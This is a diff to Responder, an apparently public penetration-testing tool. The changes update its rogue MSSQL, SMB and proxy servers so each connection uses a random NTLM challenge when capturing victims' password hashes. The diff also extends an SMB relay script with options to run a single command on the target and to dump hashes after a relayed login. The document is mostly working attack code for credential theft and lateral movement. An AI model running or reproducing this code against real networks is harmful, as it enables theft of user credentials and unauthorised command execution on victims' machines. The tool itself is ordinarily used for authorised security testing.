LMhashLen = struct.unpack('<H',data[20:22])[0]
|
LMhashLen = struct.unpack('<H',data[20:22])[0]
|
||||||
@@ -72,7 +72,7 @@ def ParseSQLHash(data, client):
|
|||||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||||
|
|
||||||
if NthashLen == 24:
|
if NthashLen == 24:
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'MSSQL',
|
'module': 'MSSQL',
|
||||||
@@ -84,7 +84,7 @@ def ParseSQLHash(data, client):
|
|||||||
})
|
})
|
||||||
|
|
||||||
if NthashLen > 60:
|
if NthashLen > 60:
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'MSSQL',
|
'module': 'MSSQL',
|
||||||
@@ -126,7 +126,7 @@ class MSSQL(BaseRequestHandler):
|
|||||||
while True:
|
while True:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
self.request.settimeout(0.1)
|
self.request.settimeout(0.1)
|
||||||
|
Challenge = RandomChallenge()
|
||||||
|
|
||||||
if data[0] == "\x12": # Pre-Login Message
|
if data[0] == "\x12": # Pre-Login Message
|
||||||
Buffer = str(MSSQLPreLoginAnswer())
|
Buffer = str(MSSQLPreLoginAnswer())
|
||||||
@@ -135,7 +135,7 @@ class MSSQL(BaseRequestHandler):
|
|||||||
|
|
||||||
if data[0] == "\x10": # NegoSSP
|
if data[0] == "\x10": # NegoSSP
|
||||||
if re.search("NTLMSSP",data):
|
if re.search("NTLMSSP",data):
|
||||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
|
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = str(Packet)
|
Buffer = str(Packet)
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ def GrabHost(data):
|
|||||||
return Host
|
return Host
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def PacketSequence(data, client):
|
def PacketSequence(data, client, Challenge):
|
||||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||||
if NTLM_Auth:
|
if NTLM_Auth:
|
||||||
@@ -56,14 +56,14 @@ def PacketSequence(data, client):
|
|||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
||||||
|
|
||||||
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
|
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
||||||
Buffer_Ans.calculate(str(Buffer))
|
Buffer_Ans.calculate(str(Buffer))
|
||||||
return str(Buffer_Ans)
|
return str(Buffer_Ans)
|
||||||
if Packet_NTLM == "\x03":
|
if Packet_NTLM == "\x03":
|
||||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||||
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
|
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
|
||||||
GrabUserAgent(data)
|
GrabUserAgent(data)
|
||||||
GrabCookie(data)
|
GrabCookie(data)
|
||||||
GrabHost(data)
|
GrabHost(data)
|
||||||
@@ -101,9 +101,10 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
|
|||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
|
Challenge = RandomChallenge()
|
||||||
for x in range(2):
|
for x in range(2):
|
||||||
data = self.request.recv(4096)
|
data = self.request.recv(4096)
|
||||||
self.request.send(PacketSequence(data, self.client_address[0]))
|
self.request.send(PacketSequence(data, self.client_address[0], Challenge))
|
||||||
|
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|||||||
@@ -88,7 +88,7 @@ def GrabSessionID(data):
|
|||||||
SessionID = data[44:52]
|
SessionID = data[44:52]
|
||||||
return SessionID
|
return SessionID
|
||||||
|
|
||||||
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
|
def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
|
||||||
SSPIStart = data.find('NTLMSSP')
|
SSPIStart = data.find('NTLMSSP')
|
||||||
SSPIString = data[SSPIStart:]
|
SSPIString = data[SSPIStart:]
|
||||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||||
@@ -105,7 +105,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
|
|||||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMB',
|
'module': 'SMB',
|
||||||
@@ -124,7 +124,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
|
|||||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMB',
|
'module': 'SMB',
|
||||||
@@ -136,7 +136,7 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
|
|||||||
})
|
})
|
||||||
|
|
||||||
|
|
||||||
def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
|
def ParseSMB2NTLMv2Hash(data,client, Challenge): #Parse SMB NTLMv2
|
||||||
SSPIStart = data[113:]
|
SSPIStart = data[113:]
|
||||||
data = data[113:]
|
data = data[113:]
|
||||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||||
@@ -151,7 +151,7 @@ def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
|
|||||||
UserLen = struct.unpack('<H',data[38:40])[0]
|
UserLen = struct.unpack('<H',data[38:40])[0]
|
||||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMBv2',
|
'module': 'SMBv2',
|
||||||
'type': 'NTLMv2-SSP',
|
'type': 'NTLMv2-SSP',
|
||||||
@@ -161,7 +161,7 @@ def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
|
|||||||
'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
|
def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
|
||||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||||
@@ -171,7 +171,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
|
|||||||
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
|
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
|
||||||
LmHash = FullHash[:32].upper()
|
LmHash = FullHash[:32].upper()
|
||||||
NtHash = FullHash[32:].upper()
|
NtHash = FullHash[32:].upper()
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash)
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMB',
|
'module': 'SMB',
|
||||||
@@ -185,7 +185,7 @@ def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
|
|||||||
if NthashLen == 24:
|
if NthashLen == 24:
|
||||||
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||||
LmHash = data[65:65+LMhashLen].encode('hex').upper()
|
LmHash = data[65:65+LMhashLen].encode('hex').upper()
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex'))
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMB',
|
'module': 'SMB',
|
||||||
@@ -221,6 +221,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
while True:
|
while True:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
self.request.settimeout(1)
|
self.request.settimeout(1)
|
||||||
|
Challenge = RandomChallenge()
|
||||||
|
|
||||||
if not data:
|
if not data:
|
||||||
break
|
break
|
||||||
@@ -233,7 +234,6 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
##Negotiate proto answer SMBv2.
|
##Negotiate proto answer SMBv2.
|
||||||
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
|
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
|
||||||
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
|
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
|
||||||
@@ -255,7 +255,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
## Session Setup 2 answer SMBv2.
|
## Session Setup 2 answer SMBv2.
|
||||||
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
|
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
|
||||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
|
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
|
||||||
t = SMB2Session1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||||
@@ -263,7 +263,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
## Session Setup 3 answer SMBv2.
|
## Session Setup 3 answer SMBv2.
|
||||||
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
|
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
|
||||||
ParseSMB2NTLMv2Hash(data, self.client_address[0])
|
ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
|
||||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
|
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
|
||||||
t = SMB2Session2Data()
|
t = SMB2Session2Data()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
@@ -289,9 +289,9 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
# STATUS_MORE_PROCESSING_REQUIRED
|
# STATUS_MORE_PROCESSING_REQUIRED
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||||
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
||||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
|
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
|
||||||
else:
|
else:
|
||||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
Packet = str(Header)+str(Body)
|
||||||
@@ -313,7 +313,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
|
|
||||||
else:
|
else:
|
||||||
# Parse NTLMSSP_AUTH packet
|
# Parse NTLMSSP_AUTH packet
|
||||||
ParseSMBHash(data,self.client_address[0])
|
ParseSMBHash(data,self.client_address[0], Challenge)
|
||||||
|
|
||||||
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
||||||
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
|
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
|
||||||
@@ -401,7 +401,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
|||||||
try:
|
try:
|
||||||
self.request.settimeout(0.5)
|
self.request.settimeout(0.5)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
Challenge = RandomChallenge()
|
||||||
if data[0] == "\x81": #session request 139
|
if data[0] == "\x81": #session request 139
|
||||||
Buffer = "\x82\x00\x00\x00"
|
Buffer = "\x82\x00\x00\x00"
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
@@ -409,7 +409,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
|||||||
|
|
||||||
if data[8:10] == "\x72\x00": #Negotiate proto answer.
|
if data[8:10] == "\x72\x00": #Negotiate proto answer.
|
||||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
|
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
Packet = str(head)+str(Body)
|
Packet = str(head)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||||
@@ -423,7 +423,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
|||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
else:
|
else:
|
||||||
ParseLMNTHash(data,self.client_address[0])
|
ParseLMNTHash(data,self.client_address[0], Challenge)
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
Packet = str(head) + str(SMBSessEmpty())
|
Packet = str(head) + str(SMBSessEmpty())
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||||
|
|||||||
48
settings.py
48
settings.py
@@ -20,7 +20,7 @@ import subprocess
|
|||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
__version__ = 'Responder 2.3.3.0'
|
__version__ = 'Responder 2.3.3.4'
|
||||||
|
|
||||||
class Settings:
|
class Settings:
|
||||||
|
|
||||||
@@ -195,14 +195,19 @@ class Settings:
|
|||||||
|
|
||||||
# Set up Challenge
|
# Set up Challenge
|
||||||
self.NumChal = config.get('Responder Core', 'Challenge')
|
self.NumChal = config.get('Responder Core', 'Challenge')
|
||||||
|
if self.NumChal.lower() == 'random':
|
||||||
|
self.NumChal = "random"
|
||||||
|
|
||||||
if len(self.NumChal) is not 16:
|
if len(self.NumChal) is not 16 and not "random":
|
||||||
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
|
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
self.Challenge = ""
|
self.Challenge = ""
|
||||||
for i in range(0, len(self.NumChal),2):
|
if self.NumChal.lower() == 'random':
|
||||||
self.Challenge += self.NumChal[i:i+2].decode("hex")
|
pass
|
||||||
|
else:
|
||||||
|
for i in range(0, len(self.NumChal),2):
|
||||||
|
self.Challenge += self.NumChal[i:i+2].decode("hex")
|
||||||
|
|
||||||
# Set up logging
|
# Set up logging
|
||||||
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
|
||||||
@@ -222,12 +227,35 @@ class Settings:
|
|||||||
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
||||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
self.AnalyzeLogger.addHandler(ALog_Handler)
|
||||||
|
|
||||||
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
try:
|
||||||
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
|
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
||||||
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
except:
|
||||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
try:
|
||||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
NetworkCard = subprocess.check_output(["ip", "address", "show"])
|
||||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
except subprocess.CalledProcessError as ex:
|
||||||
|
NetworkCard = "Error fetching Network Interfaces:", ex
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
|
||||||
|
except subprocess.CalledProcessError as ex:
|
||||||
|
DNS = "Error fetching DNS configuration:", ex
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
||||||
|
except:
|
||||||
|
try:
|
||||||
|
RoutingInfo = subprocess.check_output(["ip", "route", "show"])
|
||||||
|
except subprocess.CalledProcessError as ex:
|
||||||
|
RoutingInfo = "Error fetching Routing information:", ex
|
||||||
|
pass
|
||||||
|
|
||||||
|
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
||||||
|
try:
|
||||||
|
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||||
|
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||||
|
except AttributeError as ex:
|
||||||
|
print "Missing Module:", ex
|
||||||
|
pass
|
||||||
|
|
||||||
def init():
|
def init():
|
||||||
global Config
|
global Config
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ from SMBFinger.Finger import RunFinger
|
|||||||
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
|
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
|
||||||
from socket import *
|
from socket import *
|
||||||
|
|
||||||
__version__ = "1.0"
|
__version__ = "1.2"
|
||||||
|
|
||||||
def UserCallBack(op, value, dmy, parser):
|
def UserCallBack(op, value, dmy, parser):
|
||||||
args=[]
|
args=[]
|
||||||
@@ -50,7 +50,9 @@ def UserCallBack(op, value, dmy, parser):
|
|||||||
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
|
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
|
||||||
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
||||||
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
|
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
|
||||||
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
|
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
|
||||||
|
parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
|
||||||
|
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
|
||||||
|
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
@@ -65,6 +67,8 @@ if options.UserToRelay is None:
|
|||||||
if options.ExtraPort is None:
|
if options.ExtraPort is None:
|
||||||
options.ExtraPort = 0
|
options.ExtraPort = 0
|
||||||
|
|
||||||
|
OneCommand = options.OneCommand
|
||||||
|
Dump = options.Dump
|
||||||
ExtraPort = options.ExtraPort
|
ExtraPort = options.ExtraPort
|
||||||
UserToRelay = options.UserToRelay
|
UserToRelay = options.UserToRelay
|
||||||
Host = options.TARGET, 445
|
Host = options.TARGET, 445
|
||||||
@@ -140,7 +144,9 @@ def ConnectToTarget():
|
|||||||
s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
|
s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
|
||||||
s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
|
s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
|
||||||
s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
|
s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
|
||||||
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
|
# macOS does not have TCP_KEEPIDLE
|
||||||
|
if sys.platform != 'darwin':
|
||||||
|
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
|
||||||
s.connect(Host)
|
s.connect(Host)
|
||||||
return s
|
return s
|
||||||
except:
|
except:
|
||||||
@@ -446,6 +452,10 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
|
|||||||
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
if data[8:10] == "\x73\x5e":
|
||||||
|
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
|
||||||
|
return False
|
||||||
|
|
||||||
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
|
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
|
||||||
## Tree Connect
|
## Tree Connect
|
||||||
if data[8:10] == "\x73\x00":
|
if data[8:10] == "\x73\x00":
|
||||||
@@ -463,7 +473,6 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
|
|||||||
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
|
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
|
||||||
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
||||||
return False
|
return False
|
||||||
return False
|
|
||||||
|
|
||||||
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
|
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
|
||||||
if data[8:10] == "\x75\xcc":
|
if data[8:10] == "\x75\xcc":
|
||||||
@@ -481,8 +490,19 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
|
|||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
|
|
||||||
|
## Run one command.
|
||||||
|
if data[8:10] == "\x75\x00" and OneCommand != None or Dump:
|
||||||
|
print "[+] Authenticated."
|
||||||
|
if OneCommand != None:
|
||||||
|
print "[+] Running command: %s"%(OneCommand)
|
||||||
|
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host)
|
||||||
|
if Dump:
|
||||||
|
print "[+] Dumping hashes"
|
||||||
|
DumpHashes(data, s, Host)
|
||||||
|
os._exit(1)
|
||||||
|
|
||||||
## Drop into the shell.
|
## Drop into the shell.
|
||||||
if data[8:10] == "\x75\x00":
|
if data[8:10] == "\x75\x00" and OneCommand == None:
|
||||||
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
|
